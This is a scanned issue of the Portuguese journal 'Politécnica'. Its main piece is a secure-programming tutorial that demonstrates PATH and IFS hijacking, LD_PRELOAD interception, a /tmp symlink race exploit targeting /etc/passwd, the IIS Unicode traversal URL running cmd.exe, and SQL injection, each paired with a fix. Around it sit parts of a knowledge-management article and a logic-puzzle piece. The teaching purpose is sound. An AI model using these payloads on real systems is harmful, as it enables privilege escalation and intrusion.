possível constatar uma evolução na preocupação destes
modelos que, de centrados na tecnologia como “a” solução
(1ª geração de modelos), passaram a estar centrados nos
recursos humanos (2ª geração de modelos) como fonte
indispensável e central para a gestão do conhecimento, o
que nos leva ao segundo factor.
Redescoberta de que o conhecimento organizacional
está nas pessoas
Parafraseando Brown e Duguid (2000)
If NASA wanted to go to the moon again, it would have to
start from the scratch, having lost not the data, but the
human expertise that took it there last time
Os programas estratégicos de gestão dos anos 80 e 90,
relacionados com o “emagrecimento” das estruturas
organizativas, com o outsourcing e com o de-layering,
contribuíram, de certa forma, para o actual interesse pela
gestão do conhecimento. Como resultado de tais
estratégias, muitas organizações constataram que muito do
conhecimento e da habilidade para reagir à mudança ou
para compreender os mercados e negócios onde actuavam,
se havia perdido. Como diz Quintas (2002), “haviam
perdido a sua memória organizacional e capacidades que
não sabiam que tinham ou precisavam” (p.5).
Desta forma, as empresas descobriram a importância das
pessoas. Em algumas situações, procedeu-se, inclusive, à
readmissão de pessoal uma vez que o conhecimento por
eles detido era insubstituível. Reconheceu-se que as pessoas
tinham conhecimentos e know-how, que possuíam
capacidade para criar conhecimento e valor e que, de forma
colectiva, constituíam a memória organizacional.
Reconhece-se, aqui, os valiosos contributos de Polany (1966)
com a conceptualização da dimensão tácita do
conhecimento, e de Nonaka e Takeuchi (1995), com o seu
modelo SECI de criação de conhecimento.
Apesar dos avanços nesta área, muito do conhecimento
necessário para que as organizações se tornem
competitivas, permanece desconhecido, ou quando
identificado, é ainda de difícil acesso. Nesta área, tem sido
desenvolvido algum trabalho, nomeadamente pela
Universidade de Sheffield, pela equipa de trabalho liderada
pelo Professor T.D. Wilson1, que tem procurado, por um
lado, compreender de que forma se pode capturar o
conhecimento e, por outro lado, motivar as pessoas a
partilhar o que sabem.
Mudança nos mercados, competição e tecnologia,
tornando essencial a aprendizagem contínua
As mudanças são cada vez mais e ocorrem a um ritmo cada
vez mais célere. Observamos mudanças nos mercados e
indústria, surgem novas formas de competição e a entrada
de novos concorrentes, desenvolvem-se novas tecnologias
cuja adopção resulta em inovação em produtos e processos,
que por sua vez têm impacto nas estruturas organizativas.
Estas mudanças obrigam a uma regeneração e
desenvolvimento contínuo do conhecimento organizacional,
isto é, organizações e pessoas têm necessidade de aprender
continuamente.
Esta mudança contínua implica o desenvolvimento das rotinas
organizacionais. Mas nada disto será possível sem o incentivo
e apoio da cultura organizacional para a criação, absorção e
assimilação de novo conhecimento que ajude a abandonar
rotinas e conhecimento que estejam desajustados.
34
____________________________________________________________________
1 Department of Information Studies, University of Sheffield, WesternBank, Sheffield.
RReeccoonnhheecciimmeennttoo ddee qquuee aa iinnoovvaaççããoo éé aa cchhaavvee ppaarraa aa
ccoommppeettiittiivv iiddaaddee ee qquuee ddeeppeennddee ddaa ccrriiaaççããoo ddee
ccoonnhheecciimmeennttoo ee ddaa ssuuaa aapplliiccaaççããoo
Em muitos sectores de actividade, a vantagem competitiva
ocorre através da inovação, seja de processos, produtos ou
serviços. Por seu lado, a inovação depende da criação de
conhecimento e da sua aplicação. Os investimentos fazem-
se em empresas que se espera terem as capacidades
intelectuais necessárias para criar o conhecimento que
levará à inovação e ao lucro. Por exemplo, no sector das
telecomunicações, é mais a capacidade de criar
continuamente novo conhecimento, e não tanto a existência
de recursos ou activos de conhecimento, que representam a
chave para a vantagem competitiva, tendo em conta a
velocidade a que a inovação ocorre neste tipo de mercado.
Um dos dilemas centrais da gestão do conhecimento reside
no facto de, por um lado, as organizações terem
necessidade de criar repositórios de conhecimento, de o
partilhar e de aprender a partir da experiência passada,
enquanto que, por outro, necessitam de criar algum “caos
criativo” (Nonaka, Toyama e Konno, 2002) como fonte para
novos desenvolvimentos. Os desafios que se colocam às
organizações é, então, encontrar um ponto de equilíbrio
entre os processos lineares e não lineares, entre o que é
previsível e o que o não é.
AAuummeennttoo ddaa iimmppoorrttâânncciiaa ddaass ttrrooccaass ddee ccoonnhheecciimmeennttoo
sseemm lliimmiitteess ggeeooggrrááffiiccooss
Nenhuma empresa é, ou foi, independente, em termos de
conhecimento, significando isto que, de alguma forma,
todas dependem de fontes externas de conhecimento. Num
contexto de rápidas e constantes mudanças, esta
dependência torna-se ainda mais visível e premente, sendo
impossível, para as organizações, cobrir todos os
desenvolvimentos potenciais e aumentar as capacidades de
conhecimento em todas as áreas de investigação.
Para ultrapassar estas limitações, as organizações
procuraram aceder e partilhar conhecimento, derrubando
barreiras culturais e organizacionais. Muito do
conhecimento é, então, criado no exterior da organização,
sendo, depois absorvido por ela, necessitando, para isso, de
desenvolver determinadas capacidades, nomeadamente, ser
capaz de aceder e assimilar novo conhecimento a partir de
fontes externas e ser capaz de integrar conhecimento
proveniente de outras áreas.
LLiimmiitteess ee ppootteenncciiaalliiddaaddeess ddaass tteeccnnoollooggiiaass ddee
iinnffoorrmmaaççããoo
Até algum tempo atrás, o enfoque dos temas das
conferências e jornais sobre gestão do conhecimento estava,
sobretudo, relacionado com as tecnologias de informação.
O curioso desta perspectiva é que as tecnologias de
informação preocupam-se com a informação e não com o
conhecimento. Segundo Prusak (2001), “as tecnologias de
informação centram-se na quantidades de bits, enquanto
que a gestão da informação e do conhecimento se
preocupa com a qualidade do conteúdo e de que forma a
organização e as pessoas podem beneficiar dessa
informação e conhecimento” (p.1005).
Embora se possa argumentar que o conhecimento
codificado é também informação (Quintas 2002), muito do
conhecimento não é passível de codificação, permanecendo
inacessível às tecnologias. Como dizem Davenport e Prusak
(1998:5), o conhecimento é
a fluid mix of framed experience, values, contextual information
and expert insight that provides a framework for evaluating
and incorporating new experiences and information. It has
origin and is applied in the mind of knower.
Tendo o conhecimento origem nas pessoas, facilmente se
compreende que ele seja complexo e de difícil
exteriorização. Davenport (1994) refere também que a
maior parte dos gestores, na sua recolha de informação de
suporte à tomada de decisão, preferem utilizar os seus
contactos (2/3 da informação recolhida), bem como aceder
a documentos, com origem, muitas vezes fora da
organização (1/3 da informação recolhida) do que
propriamente recorrer aos sistemas computorizados. De
acordo com Quintas (2002), os sistemas de informação
organizacional, chegaram, de alguma forma, ao seu limite
nos anos 90, necessitando de dar mais um passo em frente
para apoiarem a gestão do conhecimento.
Apesar destas limitações da tecnologia, há que reconhecer
as suas potencialidades como meio de comunicação do
conhecimento, permitindo encurtar tempos e distâncias.
Refira-se, a título exemplificativo, a World Wide Web que
permite aceder a informação numa base global, sendo, no
entanto, necessário, desenvolver competências relacionadas
com o conhecimento, nomeadamente, de atribuição de
sentido e aprendizagem, sem as quais será difícil separar o
“trigo” do “joio” e aprender de facto.
3. Conclusões
É inegável a importância da gestão do conhecimento na
competitividade das organizações. Esta importância tem-se
traduzido em inúmeros artigos e conferências um pouco por
todo o mundo, mesmo se as perspectivas sobre o seu
significado e práticas não são consensuais. Diversos são os
factores que se conjugaram neste momento para atribuírem
ao conhecimento e à sua gestão a sua importância,
nomeadamente, a constatação de que o valor das empresas
66 Politécnica
35
depende de activos intangíveis, a redescoberta de que o
conhecimento está nas pessoas, a aceleração das mudanças
implicando uma aprendizagem contínua, o reconhecimento
da importância da inovação, a globalização e a abolição de
fronteiras temporais e geográficas e o papel das tecnologias
de informação.
Apesar de alguma coisa se ter feito no sentido de
sensibilizar as organizações para esta problemática,
acreditamos que a maior parte do caminho ainda está por
fazer. É preciso identificar o conhecimento tácito necessário
à competitividade das empresas, identificar estratégias para
o explicitar e ajudar os indivíduos a partilharem o que sabem
e a utilizar o conhecimento explícito existente. Noutra
vertente, é necessário compreender de que forma os
sistemas de informação podem contribuir neste processo de
gestão do conhecimento, nunca descurando os actores
principais: as pessoas.
Nota:
No passado número da revista “Politécnica”, o artigo
intitulado “Porquê Gestão do Conhecimento? Porquê
agora?” da Dr. Anabela Sarmento, foi publicado contendo
importantes deficiências gráficas, às quais a autora é
completamente alheia. Deste modo, a qualidade do artigo e
a correcta leitura do artigo foram afectados. Sendo assim, o
corpo editorial da revista, achou por bem republicar o
referido artigo no presente número, apresentando desde já,
as desculpas à autora.O Corpo Editorial.
36
RReeffeerrêênncciiaass
RRooooss,, JJ,, RRooooss,, GG ee EEddvviinnsssseenn,, LL.. (1997). Intellectual Capital:Navigating in the new Business Landscape.
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66 Politécnica
37
Inovador não pelo facto de trazer novidades a nível de
características do sistema propriamente dito mas sim no
facto de ser Open Source (o código fonte estava disponível).
Graças a esta sua escolha o código propagou-se por todo o
planeta através da Internet. Linus Torvalds criou então um
kernel (base de qualquer sistema operativo que permite a
comunicação entre o “software” e os “periféricos”) “open
source”. Ora o kernel é apenas a base fundamental de um
sistema.
Para o sistema ser totalmente funcional precisamos de
“software” especifico para esse sistema. Essa falha foi
rapidamente preenchida através da “fusão” com um outro
projecto já começado em 1984 que consistia em lançar um
sistema operativo que fosse baseado no já existente Unix e
que fosse livre. Esse projecto chama-se GNU. Como
podemos comparar pelas datas, o GNU era um projecto
mais antigo do que o Linux mas faltava-lhes o principal para
terem um sistema completamente operacional, o kernel.
Desta fusão nasceu então o sistema GNU/Linux.
E até aqui os leitores provavelmente questionam-se o
porquê de eu falar num sistema operativo livre, pois bem,
está tudo interligado.
O que levaria os utilizadores a usarem um sistema livre
(onde código fonte de todo o sistema é aberto ao público)?
Será que lhes interessa mesmo saber se os programadores
têm acesso ao código fonte do “software”/sistema? O que
atrairia novos utilizadores?
A resposta é simples: trazer “software” já existente de
outros sistemas para este novo GNU/Linux.
Com este movimento alguns programadores decidiram
fornecer o código de parte dos seus programas. Isto levou a
que fossem detectadas falhas críticas que até este
movimento nascer nunca tinham sido notadas.
De facto, mesmo durante o desenvolvimento de código
iniciado do zero haviam falhas que saltavam à vista dos
milhares (ou talvez até milhões) de programadores de
“software” livre. Afinal, em quem podemos confiar mais
para tomar conta do nosso “software”? Dezenas de
programadores que trabalham mantidos sob pressão
Programação segura
LLuuííss MMiigguueell SSiillvv aa
ISPGaya
Centro de Informática (CIISP)
Rua Rodrigues da Rocha, 291, 341
Santo Ovídio, 4400-025 Vila Nova Gaia
1-Introdução
O tema da segurança informática é ainda jovem e levanta
bastantes tabus à sua volta.
Geralmente associamos o hacking a algo malicioso. Falamos
em penetrar os sistemas da NASA (que são catalogados de
impenetráveis) , de entrar num banco ou algo semelhante e
ouve-se um grande “uhh” da multidão que acha
imediatamente que estamos a falar de algo completamente
fantástico, complexo e inexplicável.
Na realidade este tema tem esses contornos pelos
estereótipos dados pela sociedade.
Já alguma vez os leitores se questionaram sobre como é que
esses ditos “génios” da informática conseguem penetrar
nos sistemas?
Resumindo a um nível bastante cru a razão da maior parte
das falhas de um sistema obtemos dois “cabecilhas” no
topo da lista: O utilizador e o programador.
O utilizador, que através da sua ingenuidade para com as
tecnologias causa erros inesperados no “software” ou
random features (características aleatórias, como os
programadores lhes preferem chamar) abrindo falhas nos
sistemas e expondo informação crucial e o programador não
desenvolvendo as suas aplicações de forma elegante e
inteligente.
Qualquer programa deve ser desenvolvido a pensar em
todas as hipóteses possíveis, por mais remotas ou idiotas
que pareçam.
Na programação nunca devemos fazer suposições e tomar
algo como garantido. As tecnologias evoluem de tal forma
que uma condição que é considerada verdade hoje pode já
não o ser amanhã.
No início da década de 90 um jovem estudante da
Universidade de Helsínquia chamado Linus Torvalds, não
estando satisfeito com o sistema operativo “oferecido” com
o seu novo IBM 386 PC decidiu utilizar o Unix nesse mesmo
computador. O problema é que aos olhos do Linus Torvalds
o Unix é um sistema demasiado caro para o bolso de um
simples estudante. Foi então que este estudante começou a
desenvolver um sistema operativo inovador, o Linux.
A informação é vital nos nossos dias.
Podemos dizer que vivemos na era da informação. Uma era
onde os grandes avanços nas tecnologias nos permitem uma
troca rápida e eficiente de conhecimentos. Essa troca é em
grande parte garantida através do processamento de
“software” informático o que torna essencial assegurar que
nada falhe durante o processamento da informação.
constante na sua empresa para terminarem aquela nova
feature no “software” a tempo de ser comercializado
“ainda esta semana”, ou em milhares de indivíduos como
nós espalhados por todo o mundo que têm todo o interesse
em que o “software” seja desenvolvido correctamente e
sem preocupações de compromissos de entregas?
Podemos dizer que todas as empresas de “software”
comercial que não doam o seu código fonte seguem um
lema de security by obscurity (segurança pela obscuridade).
Isto não significa de modo algum que as falhas não existam,
apenas que poderão nunca ser notadas ou que vão demorar
bastante mais tempo a ser encontradas.
Este artigo, essencialmente baseado em código para o sistema
operativo Linux face às razões dadas acima, vai tentar
sensibilizar os leitores para as falhas mais comuns feitas
durante o desenvolvimento de “software” que aparentemente
são tão inocentes que achamos que nunca ninguém vai dar
por elas ou que nunca irão causar problemas.
2 – Falhas usuais
Proponho então apresentar ao leitor 8 falhas usuais.
Durante cada uma das falhas será apresentado código
alusivo à falha e como a aproveitar. É esperado do leitor um
conhecimento “mínimo” de programação (pseudo código,
linguagem C e “shell “script”ing”).
2.1- O uso de chamadas a funções como a system();
Conforme o ANSI C , podemos ver que o cabeçalho da
função system() é o seguinte:
int system (const char * string);
A função aceita como argumento uma string que será
executada na shell (linha de comandos do sistema) e retorna
–1 em caso de erro (por exemplo, se o fork() tiver falhado)
ou o valor retornado pelo programa executado.
Como exemplo de utilização desta função podemos ver algo
bastante usual como:
vuln1.c
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
// chamada da função system(); para executar o comando
“clear” da shell
system(“clear”);
// Simples printf(); para escrever no stdout a frase “Hello
world!”
printf(“Hello world!\n”);
}
Será que este programa é tão seguro quanto pequeno?
Existe em Linux (e em inúmeros sistemas) uma variável
ambiente da “shell” chamada “PATH”.
Essa variável contém os caminhos para os directórios onde a
“shell” procura os comandos inseridos na mesma.
Por exemplo:
lms@paginas ~/testes$ gcc vuln1.c –o vuln1
lms@paginas ~/testes$ echo $PATH
/sbin:/usr/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
lms@paginas ~/testes$
Isto mostra-nos que se eu executar o comando “clear” por
exemplo, a minha “shell” vai procurá-lo no directório /sbin,
/usr/sbin, /usr/bin, /bin e /usr/local/bin.
Não será necessário pensar muito para arranjar então
maneira de nos aproveitarmos do programa para executar
código nosso.
Vamos então fazer o programa anterior executar um
“script” nosso.
Exemplo:
# criar o nosso “script” fictício
lms@paginas ~/testes$ cat > clear
#!/bin/sh
echo "O meu código está a ser executado"
^C
# dar permissões de execução ao “script”
lms@paginas ~/testes$ chmod +x clear
# especificar à “shell” para procurar os binários no
directório corrente
# antes de os procurar nos directórios habituais
lms@paginas ~/testes$ PATH=".:$PATH"
lms@paginas ~/testes$ echo $PATH
.:/sbin:/usr/sbin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
# Executar o programa
lms@paginas ~/testes$ ./vuln1
O meu código está a ser executado
hello world
lms@paginas ~/testes$
Como podem ver conseguimos aproveitar esta falha para
executar código nosso arbitrário que poderia danificar o
nosso sistema.
Se este programa vulnerável tivesse privilégios de
administrador teriamos neste momento acesso completo
sobre o sistema.
2.2 - O Internal Field Separator (IFS)
Continuando a falar sobre falhas causadas por chamadas a
funções “inseguras” como a system() e sobre variáveis
ambiente da “shell”, introduzo aqui uma nova variável
também utilizada pela “shell”, a IFS. A variavél IFS,
38
acrónimo de Internal Field Separator serve para especificar à
“nossa” “shell” qual o caracter delimitador dos
argumentos.
Exemplo:
Se o IFS=’ ‘ e executarmos “ls –al” a “shell” sabe que o
“ls” é o nome do binário que queremos executar e o “-al” é
o primeiro e único argumento.
Se o IFS=’/’ e executarmos “ls/-al”, a “shell” sabe que o “ls”
é o nome do binário que queremos executar e o “-al” é o
primeiro e único argumento.
Então, se tivermos um novo programa como este:
vuln2.c
#include <stdlib.h>
int main(void)
{
system(“/bin/date”);
}
Conseguimos “enganar” o programa a executar o nosso
código através de:
lms@paginas ~/testes$ cat > bin
#!/bin/sh
IFS=' '
echo "estou novamente a executar código meu"
^C
lms@paginas ~/testes$ chmod +x bin
lms@paginas ~/testes$ IFS=/
lms@paginas ~/testes$ PATH=".:$PATH"
lms@paginas ~/testes$ ./vuln2
estou novamente a executar código meu
lms@paginas ~/testes$
A esta altura o leitor estará a questionar-se do porquê de
uma função tão insegura ser utilizada e de alternativas para
a mesma. Pois bem, a maior parte dos programadores usa
esta função por comodismo ou por desconhecer
alternativas.
O problema com esta função é que todas as variáveis
ambiente da “shell” são passadas para o ambiente do
programa que é executado pelo system();
Este problema é resolvido através do uso de funções da
família exec();
Estas funções permitem um controlo e filtragem sobre as
variáveis de ambiente e argumentos do programa a
executar.
2.3 - Dynamic Link Libraries (controlar as suas
operações)
O sistema operativo Linux utiliza shared libraries (bibliotecas
partilhadas).
Este conceito é bastante parecido com o uso de bibliotecas
“.dll” no sistema operativo Microsoft Windows.
Esta ideia possibilita algumas vantagens, como por exemplo
uma compilação mais rápida do código e menos espaço
ocupado em disco. Como desvantagens temos o tempo
extra de carregamento das bibliotecas durante a execução
do programa e a possibilidade de “enganar” o binário a
executar as nossas próprias funções através de métodos que
geralmente têm como finalidade um debugging das
aplicações mais simples.
Podemos comparar os prós e contras das librarias dinâmicas
às vantagens e desvantagens da alocação dinâmica de
memória num programa.
É possível controlar as operações do “dynamic loader”
através de variáveis ambiente da “shell”. Assim sendo,
apresenta-se uma lista das variáveis mais importantes para
este artigo:
LD_BIND_NOW – normalmente as funções não são
procuradas nas bibliotecas até serem chamadas. Esta flag
quando utilizada faz com que a procura das funções seja
efectuada quando o programa é carregado, causando um
arranque da aplicação mais lento. É útil utilizá-la quando
queremos ter a certeza que está tudo linkado.
LD_PRELOAD – pode apontar para um ficheiro que contém
funções que vão ultrapassar as definições das esperadas
pelo programa. Geralmente esta opção serve para efeitos de
debugging.
LD_LIBRARY_PATH – contém uma lista de directórios,
separados por virgulas, que por sua vez contêm librarias
partilhadas. Só tem efeito durante a execução do programa
e binários com a flag de sistema suid/sgid (serve para
especificar que o código daquele binário será executado
com os privilégios do dono ou grupo a quem pertence o
ficheiro) não são afectados.
A mais importante para a “falha” que se pretende
demonstrar é a LD_PRELOAD.
Tal como o que foi expresso na sua definição, é possivel
“enganar” o programa induzindo-o a executar funções
nossas. Isto é muito simples de alcançar interceptando
funções usadas no programa que queremos “enganar”,
carregando funções nossas através do LD_PRELOAD.
Então, seguimos para um exemplo simples de um programa:
vuln3.c
#include <stdio.h>
int main(void)
{
printf("O seu user id é %d\n",getuid());
66 Politécnica
39
}
O output normal deste programa será então:
[lms@bunker testes]$ gcc vuln3.c -o vuln3
[lms@bunker testes]$ ./vuln3
O seu user id é 500
[lms@bunker testes]$
Então, vamos interceptar a chamada à função getuid() (que
normalmente retornaria o user id do utilizador actual).
intercepta.c
int getuid(void)
{
// retornar 0 que é o UID do administrador em
sistemas *nix
return 0;
}
[lms@bunker testes]$ gcc -shared intercepta.c -o
intercepta.so
[lms@bunker testes]$ LD_PRELOAD=./intercepta.so
[lms@bunker testes]$ export LD_PRELOAD
[lms@bunker testes]$ ./vuln3
O seu user id é 0
[lms@bunker testes]$
Como podemos ver conseguimos interceptar a função com
sucesso!
Agora, imaginemos que o programa vuln3.c era um
programa que dependendo do nosso uid retornava uma
password ou nos dava acesso a áreas de administração do
programa que não teriamos acesso como um utilizador
normal, o que aconteciria?
Na realidade não foi apenas o nosso programa que
confundimos. Com esta técnica conseguimos também
“enganar” o próprio comando “id” do sistema.
[lms@bunker testes]$ id
uid=0(root) gid=100(users) euid=500(lms)
groups=100(users),0(root)
[lms@bunker testes]$
Não há problema nisto visto que o programa “id” é apenas
utilizado para fins informativos.
Apenas os programas compilados com bibliotecas dinâmicas
sofrem desta “falha”. Tendo isto em mente, convém então
frisar que se não especificarmos ao compilador (gcc) que
queremos que o programa seja estático (através da flag “-
static”) ele irá então por defeito compilar o nosso
“software” dinamicamente.
2.4 – “Race Conditions”
Tal como qualquer programador sabe o que diferencia um
procedimento de uma função é o facto da função
apresentar um valor de retorno.
Geralmente usamos o valor –1 para retornar uma situação
de erro ou NULL quando esperamos receber um apontador
e por qualquer motivo algo falhou durante a execução da
função.
Quantos dos leitores fazem testes exaustivos no “software”
que desenvolvem baseados nos valores de retorno das
funções?
A verdade é que muitas vezes escapam algumas condições
cruciais.
Entende-se por Race Conditions a ocorrência de um
comportamento anormal devido a uma dependência
excessiva em relação ao tempo ocorrido entre diferentes
eventos.
Estes eventos podem ir desde uma simples abertura de um
ficheiro a permissões inseguras ou até uma variável
partilhada por dois processos através de IPC (“interprocess
communication”).
Iremos então aqui analisar um pequeno excerto de código
que demonstra uma race condition devido à falta de
permissões/testes durante a abertura de um ficheiro
temporário.
vuln4.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#define FICHEIRO "/tmp/temporario-estatico"
int main(void)
{
FILE *fd;
if (access(FICHEIRO, F_OK) < 0)
{
fprintf(stderr,"O ficheiro temporário não
existe!\n");
fprintf(stderr,"A criar...\n");
fd = fopen(FICHEIRO,"a");
fprintf(fd, "Ficheiro acabado de criar!\n");
}
else
{
fprintf(stdout,"O ficheiro já existia\n");
fprintf(stdout,"A adicionar um pequeno \”hello
world\” no final...\n");
40
fd = fopen(FICHEIRO,"a");
fprintf(fd,"hello world\n");
}
fclose(fd);
return(0);
}
# compilar o programa
[root@bunker testes]$ gcc vuln4.c -o vuln4
# tornar o binário suid (para ser executado sempre com
privilégios de administrador)
[root@bunker testes]$ chmod +s vuln4
# executar o programa pela 1ª vez
[root@bunker testes]$ ./vuln4
O ficheiro temporário não existe!
A criar...
# o ficheiro é então criado...
[root@bunker testes]$ cat /tmp/temporario-estatico
Ficheiro acabado de criar!
[root@bunker testes]$ ./vuln4
O ficheiro já existia
A adicionar um pequeno "hello world" no final...
# desta vez é acrescentada uma linha ao ficheiro
temporário...
[root@bunker testes]$ cat /tmp/temporario-estatico
Ficheiro acabado de criar!
hello world
[root@bunker testes]$
Como podemos ver este programa não verifica as
permissões do ficheiro temporário quando o cria nem faz
um teste para ver se está realmenteo a escrever para um
ficheiro do qual é o próprio dono.
exploit-race_condition.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
int main(int argc, char *argv[4])
{
if (argc < 2)
{
fprintf(stderr,"Sintaxe errada: %s
<\”programa\”>\n",argv[0]);
exit(-1);
}
while (1)
{
system("rm -rf /tmp/ temporario-estatico;ln -s
/etc/passwd temporario-estatico");
system(argv[1]);
break;
}
return(0);
}
Quando executassemos o programa exploit.c compilado,
este iria criar um symlink (um atalho) para o /etc/passwd e o
programa iria “cegamente” escrever para esse mesmo
ficheiro. Como o programa tinha a flag +s activada e o seu
dono era o administrador do sistema nada o poderia parar
de modificar qualquer ficheiro no sistema.
Este exemplo não tem grande utilidade visto que não
podemos controlar o que é escrito para o ficheiro apontado
pelo symlink mas, no entanto, existem programas que
escrevem conteúdos previsíveis em ficheiros temporários.
Nesses programas podemos, por exemplo, aproveitar esta
falha para criar uma conta com privilégios de administrador
no sistema.
Uma boa maneira de evitar estes problemas, além da já
apresentada que consiste em fazer testes exaustivos e não
tomar nada como garantido no nosso “software”,
poderíamos criar um ficheiro temporário com um nome
aleatório. Isto iria dificultar bastante a tarefa de qualquer
indivíduo que tentasse aproveitar-se do nosso programa.
2.5 – “Unicode Extensions”
Primeiro que tudo devemos colocar a pergunta: O que é o
“Unicode”?
O “Unicode” fornece uma correspondência única numérica
para cada caracter, independentemente da plataforma,
linguagem ou programa.
Antes do “Unicode” existir eram necessários centenas de
sistemas de codificação de caracteres. Por exemplo, há
certos caracteres que existem no teclado US que não
existem no PT e vice-versa.
O “Unicode” veio mudar isso associando um número único
para cada caracter.
Então o leitor deve questionar-se “mas o que é que isto tem
a ver com segurança?”.
Vamos então imaginar um cenário em que....
a) o programador quer fazer um “software” que lhe permita
partilhar os ficheiros dentro do directório /web/ficheiros/.
b) o programa necessita de aceder a directórios ddeennttrroo do
/web/ficheiros/.../
66 Politécnica
41
c) o programador tenta então tornar o seu “software” o
mais seguro possível, tentando que apenas consigam aceder
ao que está dentro do directório /web/ficheiros/.
Vamos então desenhar um protocolo simples de
comunicação para o efeito:
- Pedido de ficheiro -> “enviar /caminho/para/ficheiro”
- Pedido de listagem -> “lista /caminho/para/directorio”
Agora que temos o nosso protocolo feito, vamos testar
possíveis falhas numa implementação do protocolo.
- O que aconteceria se um utilizador malicioso fizesse o
seguinte pedido ao “software”:
enviar ../../../../../../etc/passwd
- Ou este pedido:
lista ../../../../../../etc/
Encontramos uma falha que não estavamos à espera. O
utilizador pode enganar o sistema andando para trás na
árvore de directórios do sistema.
Uma solução para este problema seria filtrar os “../” nos
pedidos feitos ao “software”.
É aqui que entra o “Unicode”. Voltando a repetir o que foi
dito em cima, “O ‘Unicode’ fornece uma correspondência
única numérica para cada caracter, independentemente da
plataforma, linguagem ou programa.” Podemos então
encontrar uma representação da nossa “/” e voltar a induzir
o “software” em erro. Uma representação possível para o
“../” em “Unicode” seria o “..%255c”.
Então bastaria fazermos o seguinte pedido:
envia ..%255c..%255c..%255c..%255cetc/passwd
Esta falha foi descoberta no servidor web da Microsoft, o IIS
(Internet Information Service).
No caso deste serviço da Microsoft o problema foi um
pouco mais grave.
Os CGIs (Common Gateway Interfaces) permitem uma
interacção entre o utilizador e o servidor. Um CGI não é
nada mais nada menos que um normal programa com
privilégios de execução que é executado pelo servidor.
A única diferença entre um CGI e um programa normal é
que:
• O output não é enviado para o ecran mas sim para o
“browser”, logo, deverá ser HTML
• O “input” é feito através de formulários em páginas html
através de variáveis do servidor
Na maior parte dos servidores web usa-se como base o
directório “cgi-bin” para guardar estes ficheiros. O servidor
sabe que pode executar qualquer ficheiro que esteja dentro
desse directório. Não será muito difícil imaginar o que
acontece quando fazemos um simples pedido deste tipo a
um servidor IIS no nosso browser:
http://www.site.pt/cgi-
bin/..%255c..%255cwinnt/system32/cmd.exe?/c+dir
Como devem perceber isto iria executar o comando “dir”
no servidor através da “shell” cmd.exe remotamente no
servidor simplesmente com o “browser”.
Penso que este exemplo é suficiente para mostrar os perigos
que algo supostamente tão inocente quanto uma simples
conversão de caracteres pode causar.
2.6 - Não validar correctamente o input do utilizador
Outro grande problema no “software” é confiarmos
demasiado nos utilizadores.
Se não nos precavermos, um utilizador malicioso poderá
apoderar-se completamente do nosso programa, sistema ou
base de dados.
É sobre esse problema de falta de filtragem da validação do
utilizador que iremos falar neste ponto 2.6.
Vamos supor que temos um “site” com um simples
formulário com dois campos.
NOME: _________________________________
EMAIL: ______________
O formulário iria enviar os dados para um CGI que, por sua
vez, iria inserir estes dados numa base de dados de *SQL.
O CGI, em pseudo código, seria algo deste género:
# partimos do pressuposto que o $NOME e o $EMAIL são os
# dados enviados pelo formulário
$PEDIDO=”insert into tabela values(‘’,’$NOME’,’$EMAIL’);”
executar_pedido_em_servidor_sql($PEDIDO);
Este código parece, novamente, bastante inocente e normal
mas na verdade não o é.
O que aconteceria se um utilizador enviasse para o CGI as
variáveis com o seguinte conteúdo:
$NOME=”Luís Miguel Silva”;
$EMAIL=”[email protected]’) and
INSERIR_INSTRUÇÃO_SQL_AQUI--“;
O cgi iria então executar o seguinte pedido no servidor:
insert into tabela values(‘’,’Luís Miguel
Silva’,’[email protected]’) and
INSERIR_INSTRUÇÃO_SQL_AQUI--“);
Visto que o SQL ignora o que estiver para a frente dos
caracteres “--“ num pedido, teriamos neste momento
completo acesso à base de dados de SQL.
Este tipo de problema é bastante comum hoje em dia com o
42
crescente número de ferramentas baseadas em tecnologias
para a WEB.
Para solucionar este problema bastaria filtrar os escape chars
(caracteres de escape) como, por exemplo, o ‘, “, \, /, & e
qualquer outro caracter que possa ser utilizado para escapar
ao nosso pedido normal ao servidor.
2.7 - Outras falhas comuns
Neste ponto apenas irei falar do nome de três tipos de
falhas bastante mais complexas de perceber e aproveitar.
Estou então a referir-me aos “buffer overflows”, “heap
overflows” e às format strings.
Irei discutir estes temas num próximo artigo.
3 – Conclusão
Tal como comecei por dizer no início deste artigo a
segurança começa em si. Quer seja um mero utilizador ou
um programador.
Como podemos concluir estas falhas são até de certa forma
engraçadas e ridículas, afinal, quem se iria lembrar de se
aproveitar de algo tão “obscuro” e no entanto que estava
mesmo em frente aos nossos olhos? Muita gente...
Neste momento o leitor deve estar mais sensibilizado para
este assunto. Afinal, quanto vale para si a sua
informação...?
4 – Agradecimentos
Gostaria de agradecer à minha mãe por tudo o que
representa para mim e aos Mestres António Marques e João
Neta que têm sido os meus tutores nestes últimos anos
desde que fui estudar para o mui nobre Instituto Superior
Politécnico Gaya. Não apenas pelos conhecimentos
informáticos que me transmitiram mas também pela sua
sabedoria global e pela sua visão da vida.
Devo também agradecimentos ao Eng José Manuel Moreira
pela revisão deste artigo e por toda a ajuda que me tem
dado desde que nos conhecemos.
Links úteis:
Informações úteis sobre o Linux e a sua história
[1]
http://www.cs.unc.edu/Courses/comp006/members/grace/G
uru/LinuxDevelopment.html
O projecto GNU
[2] http://www.gnu.org/
A free “software” foundation
[3] http://www.fsf.org/
Conhecendo a fundo o compilador GCC
[4] http://www.digitaltoad.net/docs/GCC-HOWTO.htm
O “unicode”
[5]
http://www.unicode.org/unicode/standard/WhatIsUnicode.ht
ml
[6]
http://www.packetstormsecurity.net/papers/general/IISUnico
deExplained.doc
66 Politécnica
43
44
66 Politécnica
45
correspondentes, conforme também se encontra indicado
na mesma figura. E ainda, dos factos do peral não pertencer
ao senhor Pinheiro e do laranjal não pertencer ao senhor
Oliveira, resulta que as intersecções Pi pe e O serem
conjuntos vazios, o que implica a inscrição de zeros nas
células correspondentes, conforme ainda se encontra
indicado na mesma figura.
Figura 2
O facto de, na linha pi (figura 2), estarem inscritos zeros nas
colunas Pi, L e O, significa que o pinhal (pi) não pertence
nem ao senhor Pinheiro, nem ao senhor LaraJeira, nem ao
senhor Pinheiro.
Figura 3
Então o pinhal só pode pertencer ao senhor Pereira (Pe),
facto que se encontra ilustrado na figura 3 pela inscrição de
um 1 na célula representativa da intersecção Pe pi. Por outro
